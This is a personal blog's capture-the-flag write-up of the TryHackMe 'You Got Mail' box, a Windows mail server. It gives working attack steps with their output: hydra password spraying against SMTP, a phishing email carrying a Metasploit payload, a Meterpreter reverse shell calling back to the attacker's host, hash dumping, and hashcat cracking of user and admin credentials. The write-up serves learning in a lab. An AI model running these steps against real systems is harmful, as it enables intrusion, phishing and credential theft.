This is where Daniel publishes all his cybersecurity findings, projects, write ups, and interesting thoughts. Along with any news or helpful resources he may find.

By

THM – You Got Mail

Try Hack Me’s Challenge Box: You Got Mail was a new one to Try Hack Me and it piqued my interest. So I decided to start working on the box. Below you will find the notes that I documented over the course of about 2.5 hours over three days, that I was attacking Try Hack Me’s You Got Mail. I had to try new tools I hadn’t heard of before and pivot quickly to some unknowns. Overall it was a very fun lab. If you have any questions on my thought process, please ask them in the comments. I would love to respond to any questions you have.

Scope Details

Enumeration

10.10.145.3

Nmap Scan

PORT      STATE SERVICE       REASON          VERSION
25/tcp    open  smtp          syn-ack ttl 125 hMailServer smtpd
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
110/tcp   open  pop3          syn-ack ttl 125 hMailServer pop3d
|_pop3-capabilities: TOP UIDL USER
135/tcp   open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn
143/tcp   open  imap          syn-ack ttl 125 hMailServer imapd
|_imap-capabilities: QUOTA IDLE IMAP4rev1 completed CAPABILITY OK RIGHTS=texkA0001 IMAP4 NAMESPACE ACL CHILDREN SORT
445/tcp   open  microsoft-ds? syn-ack ttl 125
587/tcp   open  smtp          syn-ack ttl 125 hMailServer smtpd
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
RDP - 3389/tcp  open  ms-wbt-server syn-ack ttl 125 Microsoft Terminal Services
| ssl-cert: Subject: commonName=BRICK-MAIL
| Issuer: commonName=BRICK-MAIL
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-02-15T20:59:24
| Not valid after:  2025-08-17T20:59:24
| MD5:   8456:a61c:4afe:248b:2176:02be:4f0b:8b75
| SHA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0MD9
|_-----END CERTIFICATE-----

SMTP(25)

25/tcp    open  smtp          syn-ack ttl 125 hMailServer smtpd
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
  • Attempted password spraying with user lists using both rockyou.txt and custom passwords scraped with cewl but were unsuccessful.
  • Erm Actually I just needed to use --lowercase flag with cewl.
┌──(kali㉿kali)-[~/tryhackme/mail]
└─$ sudo cewl <https://brownbrick.co> --lowercase > custom_password2.txt  

┌──(kali㉿kali)-[~/tryhackme/mail]
└─$ hydra -L users.txt -P custom_password2.txt mail.thm smtp -V -I

Valid user login

[25][smtp] host: mail.thm   login: lhedvig@brownbrick.co   password: bricks
┌──(kali㉿kali)-[~/tryhackme/mail]
└─$ telnet mail.thm 110
Trying 10.10.183.71...
Connected to mail.thm.
Escape character is '^]'.
+OK POP3
user oaurelius
+OK Send your password

-ERR Invalid command in current state.

  • Possible login

SMB (136,139,445)

┌──(kali㉿kali)-[~]
└─$ smbclient -L \\\\mail.thm                                         
Password for [WORKGROUP\\kali]:
session setup failed: NT_STATUS_ACCESS_DENIED

brownbrick.co

image.png

username enumeration

Omar Aurelius

oaurelius@brownbrick.co

Winifred Rohit

wrohit@brownbrick.co

  • What’s this dunce’s password?

Laird Hedvig

lhedvig@brownbrick.co

bricks

Titus Chikondi

tchikondi@brownbrick.co

Pontos Cathrine

pcathrine@brownbrick.co

Filimena Stamatis

fstamatis@brownbrick.co

wrohit@brownbrick.co

oaurelius@brownbrick.co

lhedvig@brownbrick.co

tchikondi@brownbrick.co

pcathrine@brownbrick.co

fstamatis@brownbrick.co

Post Compromise

  • Attempting to use remmina to connect to mail.thm through smtp.
  • Attempting to swipe email through evolution
image.png
  • No emails intercepted but phishing emails can be sent, maybe I can steal hashes with Responder
image.png
  • Sending a phishing email through evolution with a Metasploit made .exe
  • Had to update the SMTP Port to port 25, and enable auth

Post Exploitation

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.13.80.213:1338 
[*] Sending stage (177734 bytes) to 10.10.145.3
[*] Meterpreter session 1 opened (10.13.80.213:1338 -> 10.10.145.3:49862) at 2025-02-19 22:41:01 -0500

meterpreter > getuid
Server username: BRICK-MAIL\\wrohit
  • I have taken over user wrohit’s account using a Meterpreter reverse shell made by Metasploit

wrohit:1014:aad3b435b51404eeaad3b435b51404ee:8458995f1d0a4b0c107fb8e23362c814:::

  • Using Hash dump I collected wrohit’s password.

superstar

  • Using hashcat I cracked the password
C:\\Program Files (x86)\\hMailServer\\Bin>type hMailServer.INI
type hMailServer.INI
[Directories]
ProgramFolder=C:\\Program Files (x86)\\hMailServer
DatabaseFolder=C:\\Program Files (x86)\\hMailServer\\Database
DataFolder=C:\\Program Files (x86)\\hMailServer\\Data
LogFolder=C:\\Program Files (x86)\\hMailServer\\Logs
TempFolder=C:\\Program Files (x86)\\hMailServer\\Temp
EventFolder=C:\\Program Files (x86)\\hMailServer\\Events
[GUILanguages]
ValidLanguages=english,swedish
[Security]
AdministratorPassword=5f4dcc3b5aa765d61d8327deb882cf99
[Database]
Type=MSSQLCE
Username=
Password=47f104fa02185e821a83b2cfa56cf4ec
PasswordEncryption=1
Port=0
Server=
Database=hMailServer
Internal=1
  • Admin Password 5f4dcc3b5aa765d61d8327deb882cf99 Hashcat can crack this
  • Admin password: password

CHALLENGE BOX COMPLETED

90 Points Scored.

About the blog

If I see something cool, learn something new, or complete an interesting project that I believe is worthy of being posted and shared with the world it will see the light of day here.